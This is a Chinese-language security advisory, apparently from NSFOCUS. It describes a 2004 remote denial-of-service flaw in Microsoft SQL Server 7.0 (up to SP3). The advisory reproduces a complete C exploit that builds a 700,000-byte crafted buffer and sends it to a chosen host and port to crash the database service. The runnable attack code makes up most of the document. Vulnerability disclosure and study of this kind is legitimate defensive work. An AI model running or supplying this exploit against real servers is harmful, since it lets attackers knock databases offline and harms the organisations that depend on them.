安全研究

安全漏洞
Microsoft SQL Server远程拒绝服务漏洞

发布日期:2004-09-28
更新日期:2004-09-29

受影响系统:
Microsoft SQL Server 7.0 SP3
Microsoft SQL Server 7.0 SP2
Microsoft SQL Server 7.0 SP1
Microsoft SQL Server 7.0
描述:
Microsoft SQL Server是微软公司开发和维护的大型数据库系统。

Microsoft SQL Server对特殊构建的超大数据缺少正确检查,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。

攻击者重复的发送700000字节长的包含特定字符的数据给'mssqlserver'服务,可导致数据库服务崩溃,造成拒绝服务攻击。

<*来源:securma (securma@caramail.com
  
  链接:http://www.securitytracker.com/alerts/2004/Sep/1011434.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

securma (securma@caramail.com)提供了如下测试方法:

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop the service
* "mssqlserver" the error noticed is different according to services'pack but the result is always
* the same one.
*  Exception Codes = c0000005
* vulnerable:  MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")
u_long resolv(char*);


void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s;
int i;
struct sockaddr_in vulh;
char buffer[700000];
for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);


if (argc!=3) {
  printf("  MSSQL denial of service\n");
  printf("    by securma massine\n");
  printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
  printf("Syntaxe: MSSQLdos <ip> <port>\n");
  exit(1);
}

WSAStartup(0x101,&WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

ZeroMemory(&vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2]));
if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
  printf("Impossible de se connecter...le port est en generale 1433...\n");
  exit(1);
}

  {
  send(s,buffer,sizeof(buffer),0);

  printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}


u_long resolv(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1) {
  if (!(host_ent = gethostbyname(host_name))) {
   printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
   exit(1);
  }
  CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
}
return addr.s_addr;
}

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:4942
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障